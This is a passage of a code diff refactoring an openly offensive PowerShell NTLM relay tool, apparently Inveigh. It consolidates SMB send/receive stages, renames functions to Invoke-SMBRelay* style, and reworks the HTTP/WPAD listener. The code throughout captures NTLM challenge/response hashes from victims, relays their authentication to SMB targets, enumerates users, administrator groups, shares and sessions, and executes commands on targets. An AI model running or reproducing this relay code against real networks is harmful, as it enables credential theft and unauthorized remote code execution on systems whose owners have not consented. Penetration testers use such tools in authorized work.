} 'NetShareEnumAll' @@ -3805,20 +3823,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'OpenAlias' @@ -3837,20 +3842,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'OpenDomain' @@ -3869,20 +3861,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'OpenGroup' @@ -3901,20 +3880,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'ParseLookupRids' @@ -4000,7 +3966,6 @@ $SMB_relay_functions_scriptblock = $response_user_start = $response_user_count * 16 + $response_domain_start + 12 $response_user_end = $response_user_start $response_user_length_start = $response_domain_start + 4 - #$response_user_list = @() $i = 0 while($i -lt $response_user_count) @@ -4046,13 +4011,13 @@ $SMB_relay_functions_scriptblock = if($enumerate_group_user_list -gt 0) { - $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $target local administrator users:") > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $target $EnumerateGroup group member users:") > $null $inveigh.output_queue.Add($enumerate_group_user_list -join ",") > $null } if($enumerate_group_group_list -gt 0) { - $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $target local administrator groups:") > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $target $EnumerateGroup group member groups:") > $null $inveigh.output_queue.Add($enumerate_group_group_list -join ",") > $null } @@ -4138,17 +4103,16 @@ $SMB_relay_functions_scriptblock = if($action_stage -eq 'Share') { - if($response_item -ne 'ADMIN$' -and $response_item -ne 'C$' -and $response_item -ne 'IPC$' -and $response_item -ne 'print$') + if($response_item -ne 'ADMIN$' -and $response_item -notmatch '^[a-zA-Z][\$]$' -and $response_item -ne 'IPC$' -and $response_item -ne 'print$') { $enumerate_share_list.Add($response_item) > $null } - #$share_list += $response_item } else { - if($response_item -ne "\\" + $SMB_client.Client.LocalEndPoint.Address.IPAddressToString) + if($response_item -ne "\\" + $client.Client.LocalEndPoint.Address.IPAddressToString) { $enumerate_netsession_list.Add($response_item + "\" + $response_item_2) > $null } @@ -4190,7 +4154,6 @@ $SMB_relay_functions_scriptblock = [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)] $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0) [Byte[]]$response_RID_bytes = $client_receive[$response_RID_start..($response_RID_start + 3)] - #$response_RID = [System.BitConverter]::ToInt16($response_RID_bytes,0) $response_user_end = $response_user_start + $response_user_length [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)] $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) @@ -4245,20 +4208,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'QueryInfoRequest' @@ -4272,20 +4222,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'ReadRequest' @@ -4300,20 +4237,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'RPCBind' @@ -4330,20 +4254,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'SAMRCloseRequest' @@ -4362,6 +4273,11 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'SendReceive' + { $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null @@ -4369,7 +4285,6 @@ $SMB_relay_functions_scriptblock = if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' - $stage_next = 'StatusReceived' } else { @@ -4550,6 +4465,11 @@ $SMB_relay_functions_scriptblock = } + 'Logoff' + { + $stage = 'Exit' + } + 'LookupNames' { $step++ @@ -4711,7 +4631,7 @@ $SMB_relay_functions_scriptblock = if($step -eq 8) { - Write-Output "[-] $Group group not found" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $Group group not found") > $null $stage = 'TreeDisconnect' } else @@ -4830,7 +4750,7 @@ $SMB_relay_functions_scriptblock = } elseif($share_list.Count -gt 0 -and $j -eq $share_list.Count - 1) { - Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize + #Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize $tree_ID = $tree_IPC $stage = 'TreeDisconnect' $j++ @@ -4908,32 +4828,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - - try - { - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - catch - { - $error_message = $_.Exception.Message - $error_message = $error_message -replace "`n","" - $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message") > $null - $stage = 'Exit' - } - + $stage = 'SendReceive' } 'TreeDisconnect' @@ -4947,20 +4842,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } } @@ -5007,17 +4889,22 @@ $SMB_relay_functions_scriptblock = } $inveigh.session_message_ID_table[$inveigh.session_count] = $message_ID - $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index - $inveigh.enumeration_data[$target_index]."Administrator Users" = $enumerate_group_user_list - $inveigh.enumeration_data[$target_index]."Administrator Groups" = $enumerate_group_group_list - $inveigh.enumeration_data[$target_index]."Local Users" = $enumerate_user_list - $inveigh.enumeration_data[$target_index].Shares = $enumerate_share_list + $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index -First 1 + + if($EnumerateGroup -eq 'Administrators') + { + $inveigh.enumerated_data[$target_index]."Administrator Users" = $enumerate_group_user_list + $inveigh.enumerated_data[$target_index]."Administrator Groups" = $enumerate_group_group_list + } + + $inveigh.enumerated_data[$target_index]."Local Users" = $enumerate_user_list + $inveigh.enumerated_data[$target_index].Shares = $enumerate_share_list $net_sessions_unique = @() ForEach($net_session_entry in $enumerate_netsession_list) { - if($inveigh.enumeration_data[$target_index].NetSessions -notcontains $net_session_entry) + if($inveigh.enumerated_data[$target_index].NetSessions -notcontains $net_session_entry) { $net_sessions_unique += $net_session_entry } @@ -5025,42 +4912,28 @@ $SMB_relay_functions_scriptblock = $net_session_IP = ($net_session_entry.Split("\"))[2] $net_session_user = ($net_session_entry.Split("\"))[3] - if($inveigh.enumeration_data | Where-Object {$_.IP -eq $net_session_IP}) + if($inveigh.enumerated_data | Where-Object {$_.IP -eq $net_session_IP}) { - $net_session_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $net_session_IP} | Select-Object -expand Index + $net_session_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $net_session_IP} | Select-Object -expand Index - if($net_session_index -and $inveigh.enumeration_data[$net_session_index].NetSessions -notcontains $net_session_user) + if($net_session_index -and $inveigh.enumerated_data[$net_session_index].NetSessions -notcontains $net_session_user) { - $inveigh.enumeration_data[$net_session_index].NetSessionsMapped += $net_session_user + $inveigh.enumerated_data[$net_session_index]."NetSessions Mapped" += $net_session_user } } else { - if(!($inveigh.enumeration_data | Where-Object {$_.IP -eq $net_session_IP})) - { - - try - { - $mapped_hostname = [System.Net.Dns]::GetHostEntry($net_session_IP).HostName - } - catch - { - $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] DNS reverse lookup for $net_session_IP failed") > $null - } - - } - - $inveigh.enumeration_data += New-RelayEnumObject -IP $net_session_IP -Hostname $mapped_hostname -NetSessionsMapped $net_session_user + $inveigh.enumerated_data += New-RelayEnumObject -IP $net_session_IP -NetSessionsMapped $net_session_user } } - $inveigh.enumeration_data[$target_index].NetSessions += $net_sessions_unique + $inveigh.enumerated_data[$target_index].NetSessions += $net_sessions_unique if(!$RPC_access_denied) { - $inveigh.enumeration_data[$target_index].Enumerate = $(Get-Date -format s) + $inveigh.enumerated_data[$target_index].Enumerate = $(Get-Date -format s) } } @@ -5070,12 +4943,12 @@ $SMB_relay_functions_scriptblock = # HTTP/HTTPS/Proxy Server ScriptBlock $HTTP_scriptblock = { - param ($Attack,$Challenge,$Command,$Enumerate,$EnumerateGroup,$FailedAuthLimit,$HTTPIP,$HTTPPort,$HTTPResetDelay, - $HTTPResetDelayTimeout,$HTTPS_listener,$Proxy,$ProxyIgnore,$proxy_listener,$RelayAutoDisable,$RepeatEnumerate, + param ($Attack,$Challenge,$Command,$Enumerate,$EnumerateGroup,$FailedLoginThreshold,$HTTPIP,$HTTPPort, + $HTTPS_listener,$Proxy,$ProxyIgnore,$proxy_listener,$RelayAutoDisable,$RepeatEnumerate, $RepeatExecute,$Service,$SMB_version,$SessionLimitPriv,$SessionLimitUnpriv,$SessionLimitShare, $SessionPriority,$Target,$TargetMode,$TargetRefresh,$Username,$WPADAuth,$WPADAuthIgnore,$WPADResponse) - function NTLMChallengeBase64 + function Get-NTLMChallengeBase64 { param ([String]$Challenge,[String]$ClientIPAddress,[Int]$ClientPort) @@ -5142,7 +5015,6 @@ $HTTP_scriptblock = $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) $NTLM = 'NTLM ' + $NTLM_challenge_base64 - #$NTLM_challenge = $HTTP_challenge return $NTLM } @@ -5205,18 +5077,18 @@ $HTTP_scriptblock = :HTTP_listener_loop while($inveigh.relay_running -and $HTTP_running) { - $TCP_request = "" + $TCP_request = $null $TCP_request_bytes = New-Object System.Byte[] 4096 $HTTP_send = $true - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("text/html") - $HTTP_header_cache_control = "" - $HTTP_header_authenticate = "" - $HTTP_header_authenticate_data = "" - $HTTP_message = "" - $HTTP_header_authorization = "" - $HTTP_header_host = "" - $HTTP_header_user_agent = "" - $HTTP_request_raw_URL = "" + $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: text/html") + $HTTP_header_cache_control = $null + $HTTP_header_authenticate = $null + $HTTP_header_authenticate_data = $null + $HTTP_message = '' + $HTTP_header_authorization = '' + $HTTP_header_host = $null + $HTTP_header_user_agent = $null + $HTTP_request_raw_URL = $null $NTLM = "NTLM" while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) @@ -5237,7 +5109,7 @@ $HTTP_scriptblock = if($relay_reset -gt 2) { $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay attack resetting") > $null - $SMB_client.Close() + $client.Close() $relay_step = 0 } @@ -5301,6 +5173,7 @@ $HTTP_scriptblock = $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $HTTP_connection_header_close = $true if($TCP_request -like "*-48-6F-73-74-3A-20-*") { @@ -5358,14 +5231,6 @@ $HTTP_scriptblock = { $HTTP_response_status_code = 0x34,0x30,0x31 $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 - - if($HTTP_request_raw_URL -match '/wpad.dat') - { - $HTTP_reset_delay = $true - $HTTP_reset_delay_timeout = New-TimeSpan -Seconds $HTTPResetDelayTimeout - $HTTP_reset_delay_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - } $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 @@ -5376,6 +5241,7 @@ $HTTP_scriptblock = { $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ','' [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) + $HTTP_connection_header_close = $false if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') { @@ -5383,9 +5249,9 @@ $HTTP_scriptblock = if($inveigh.SMB_relay -and $relay_step -eq 0) { $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type to SMB relay initiated by $HTTP_source_IP") > $null - $SMB_connect = SMBConnect $process_ID_bytes $HTTP_source_IP + $SMB_connect = Invoke-SMBConnect $process_ID_bytes $HTTP_source_IP $target = $SMB_connect[1] - $SMB_client = $SMB_connect[0] + $client = $SMB_connect[0] $HTTP_client_close = $false if(!$target) @@ -5393,7 +5259,7 @@ $HTTP_scriptblock = $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Eligible target not found") > $null $relay_step = 0 } - elseif(!$SMB_client.connected) + elseif(!$client.connected) { $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Relay target is not responding") > $null $relay_step = 0 @@ -5405,12 +5271,12 @@ $HTTP_scriptblock = if($relay_step -eq 1) { - $SMB_relay_bytes = SMBRelayChallenge $SMB_client $HTTP_request_bytes $SMB_version $process_ID_bytes + $SMB_relay_bytes = Invoke-SMBRelayChallenge $client $HTTP_request_bytes $SMB_version $process_ID_bytes if($SMB_relay_bytes.Length -le 3) { $relay_step = 0 - $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + $NTLM = Get-NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port } } @@ -5443,7 +5309,7 @@ $HTTP_scriptblock = $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes + $NTLM_challenge = Invoke-SMBNTLMChallenge $SMB_relay_bytes $inveigh.HTTP_challenge_queue.Add($HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + ',' + $NTLM_challenge) > $null $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Received challenge $NTLM_challenge for relay from $Target") > $null $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") > $null @@ -5451,13 +5317,13 @@ $HTTP_scriptblock = } else { - $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + $NTLM = Get-NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port } } else { - $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + $NTLM = Get-NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port } } @@ -5473,7 +5339,7 @@ $HTTP_scriptblock = if($HTTP_NTLM_domain_length -eq 0) { - $HTTP_NTLM_domain_string = "" + $HTTP_NTLM_domain_string = $null } else { @@ -5485,7 +5351,7 @@ $HTTP_scriptblock = if($HTTP_NTLM_user_length -eq 0) { - $HTTP_NTLM_user_string = "" + $HTTP_NTLM_user_string = $null } else { @@ -5519,13 +5385,13 @@ $HTTP_scriptblock = if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full"))) { - $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) + $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) > $null $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type $NTLM_type challenge/response written to " + $inveigh.NTLMv1_out_file) > $null } if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full") { - $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_username_full") + $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_username_full") > $null } } @@ -5575,11 +5441,11 @@ $HTTP_scriptblock = { $session = $HTTP_username_full } - - if($inveigh.enumeration_data | Where-Object {$_.Hostname -eq $hostname}) + + if($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname}) { - $target_index = $inveigh.enumeration_data | Where-Object {$_.Hostname -eq $hostname} | Select-Object -expand Index - $session_list = @($inveigh.enumeration_data[$target_index].Sessions) + $target_index = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname} | Select-Object -expand Index -First 1 + [Array]$session_list = $inveigh.enumerated_data[$target_index].Sessions if($inveigh.domain_mapping_table.ContainsKey($HTTP_NTLM_domain_string)) { @@ -5592,7 +5458,7 @@ $HTTP_scriptblock = if($session_list[$i] -like "$HTTP_NTLM_domain_string\*") { $session_list[$i] = $session_update - $inveigh.enumeration_data[$target_index].Sessions = $session_list + $inveigh.enumerated_data[$target_index].Sessions = $session_list } } @@ -5601,16 +5467,25 @@ $HTTP_scriptblock = if($session_list -notcontains $session) { - $session_list += $session - $inveigh.enumeration_data[$target_index].Sessions = $session_list + + if($session_list) + { + $session_list += $session + } + else + { + [Array]$session_list = $session + } + + $inveigh.enumerated_data[$target_index].Sessions = $session_list } } - elseif($inveigh.enumeration_data | Where-Object {$_.IP -eq $HTTP_source_IP}) + elseif($inveigh.enumerated_data | Where-Object {$_.IP -eq $HTTP_source_IP}) { - $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $HTTP_source_IP} | Select-Object -expand Index - $inveigh.enumeration_data[$target_index].Hostname = $hostname - $session_list = @($inveigh.enumeration_data[$target_index].Sessions) + $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $HTTP_source_IP} | Select-Object -expand Index -First 1 + $inveigh.enumerated_data[$target_index].Hostname = $hostname + $session_list = @($inveigh.enumerated_data[$target_index].Sessions) if($inveigh.domain_mapping_table.ContainsKey($HTTP_NTLM_domain_string)) { @@ -5623,7 +5498,7 @@ $HTTP_scriptblock = if($session_entry -like "$HTTP_NTLM_domain_string\*") { $session_list[$i] = $session_update - $inveigh.enumeration_data[$target_index].Sessions = $session_list + $inveigh.enumerated_data[$target_index].Sessions = $session_list } } @@ -5633,19 +5508,19 @@ $HTTP_scriptblock = if($session_list -notcontains $session) { $session_list += $session - $inveigh.enumeration_data[$target_index].Sessions = $session_list + $inveigh.enumerated_data[$target_index].Sessions = $session_list } } else { - $inveigh.enumeration_data += New-RelayEnumObject -IP $HTTP_source_IP -Hostname $hostname -Session $session + $inveigh.enumerated_data += New-RelayEnumObject -IP $HTTP_source_IP -Hostname $hostname -Session $session } $HTTP_response_status_code = 0x32,0x30,0x30 $HTTP_response_phrase = 0x4f,0x4b $HTTP_client_close = $true - $NTLM_challenge = "" + $NTLM_challenge = $null if($inveigh.SMB_relay -and $relay_step -eq 2) { @@ -5656,134 +5531,145 @@ $HTTP_scriptblock = if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))) { - if($inveigh.relay_failed_auth_table.$HTTP_username_full.Count -le $FailedAuthLimit) + if($inveigh.relay_failed_login_table.$HTTP_username_full.Count -le $FailedLoginThreshold) { - $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Sending $NTLM_type response for $HTTP_username_full for relay to $Target") > $null - $SMB_relay_failed = SMBRelayResponse $SMB_client $HTTP_request_bytes $SMB_version $SMB_user_ID $session_ID $process_ID_bytes - - if(!$SMB_relay_failed) - { - $inveigh.session_current = $inveigh.session_count - $inveigh.session_message_ID_table.Add($inveigh.session_count,3) - if($Attack -contains 'Session') + if(@($inveigh.session_list | Where-Object {$_.user -eq $HTTP_username_full -and $_.Status -eq 'connected'}).Count -lt $SessionLimitShare) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Sending $NTLM_type response for $HTTP_username_full for relay to $Target") > $null + $SMB_relay_failed = Invoke-SMBRelayResponse $client $HTTP_request_bytes $SMB_version $SMB_user_ID $session_ID $process_ID_bytes + + if(!$SMB_relay_failed) { + $inveigh.session_current = $inveigh.session_count + $inveigh.session_message_ID_table.Add($inveigh.session_count,3) - if($SMB_client.Connected) + if($Attack -contains 'Session') { - $inveigh.session_socket_table[$inveigh.session_count] = $SMB_client - $inveigh.session_table[$inveigh.session_count] = $session_ID - $inveigh.session_lock_table[$inveigh.session_count] = 'open' - $session_privilege = SMBRelayExecute $SMB_client $SMB_version $SMB_user_ID $session_ID $process_ID_bytes $true - $session_object = New-Object PSObject - Add-Member -InputObject $session_object -MemberType NoteProperty -Name Session $inveigh.session_count - Add-Member -InputObject $session_object -MemberType NoteProperty -Name Target $SMB_client.Client.RemoteEndpoint.Address.IPaddressToString - Add-Member -InputObject $session_object -MemberType NoteProperty -Name Initiator $HTTP_source_IP - Add-Member -InputObject $session_object -MemberType NoteProperty -Name User $HTTP_username_full - if($session_privilege) - { - Add-Member -InputObject $session_object -MemberType NoteProperty -Name Privileged "yes" - } - else + if($client.Connected) { - Add-Member -InputObject $session_object -MemberType NoteProperty -Name Privileged "no" - } + $inveigh.session_socket_table[$inveigh.session_count] = $client + $inveigh.session_table[$inveigh.session_count] = $session_ID + $inveigh.session_lock_table[$inveigh.session_count] = 'open' + $session_privilege = Invoke-SMBRelayExecute $client $SMB_version $SMB_user_ID $session_ID $process_ID_bytes $true + $session_object = New-Object PSObject + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Session $inveigh.session_count + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Target $client.Client.RemoteEndpoint.Address.IPaddressToString + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Initiator $HTTP_source_IP + Add-Member -InputObject $session_object -MemberType NoteProperty -Name User $HTTP_username_full + + if($session_privilege) + { + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Privileged "yes" + } + else + { + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Privileged "no" + } + + if($client.Connected) + { + $status = "connected" + Add-Member -InputObject $session_object -MemberType NoteProperty -Name Status $status + Add-Member -InputObject $session_object -MemberType NoteProperty -Name "Established" $(Get-Date -format s) + Add-Member -InputObject $session_object -MemberType NoteProperty -Name "Last Activity" $(Get-Date -format s) + $inveigh.session_list += $session_object + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Session $($inveigh.session_count) added to session list") > $null + } - if($SMB_client.Connected) - { - $status = "connected" - Add-Member -InputObject $session_object -MemberType NoteProperty -Name Status $status - Add-Member -InputObject $session_object -MemberType NoteProperty -Name "Established" $(Get-Date -format s) - Add-Member -InputObject $session_object -MemberType NoteProperty -Name "Last Activity" $(Get-Date -format s) - $inveigh.session_list += $session_object - $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Session $($inveigh.session_count) added to session list") > $null } } - } + if($Attack -contains 'Enumerate' -or $Attack -contains 'Execute') + { + $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index -First 1 + $filter_date = Get-Date + } - if($Attack -contains 'Enumerate' -or $Attack -contains 'Execute') - { - $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index - $filter_date = Get-Date - } + if(($attack -contains 'Enumerate' -and $client.Connected) -and + (!$inveigh.enumerated_data[$target_index].Enumerate -or + (New-TimeSpan $inveigh.enumerated_data[$target_index].Enumerate $filter_date).Minutes -gt $RepeatEnumerate)) + { + Invoke-SMBRelayEnum $client $SMB_user_ID $session_ID $process_ID_bytes $Enumerate $EnumerateGroup + } - if(($attack -contains 'Enumerate' -and $SMB_client.Connected) -and - (!$inveigh.enumeration_data[$target_index].Enumerate -or - (New-TimeSpan $inveigh.enumeration_data[$target_index].Enumerate $filter_date).Minutes -gt $RepeatEnumerate)) - { - SMBRelayEnum $SMB_client $SMB_user_ID $session_ID $process_ID_bytes $Enumerate $EnumerateGroup - } + if((($session_privilege -and $Attack -contains 'Execute' -and $Attack -contains 'Session' -and $client.Connected) -or + ($Attack -contains 'Execute' -and $Attack -notcontains 'Session' -and $client.Connected)) -and + (!$inveigh.enumerated_data[$target_index].Execute -or (New-TimeSpan $inveigh.enumerated_data[$target_index].Execute $filter_date).Minutes -gt $RepeatExecute)) + { + Invoke-SMBRelayExecute $client $SMB_version $SMB_user_ID $session_ID $process_ID_bytes $false + $inveigh.enumerated_data[$target_index].Execute = $(Get-Date -format s) + } - if((($session_privilege -and $Attack -contains 'Execute' -and $Attack -contains 'Session' -and $SMB_client.Connected) -or - ($Attack -contains 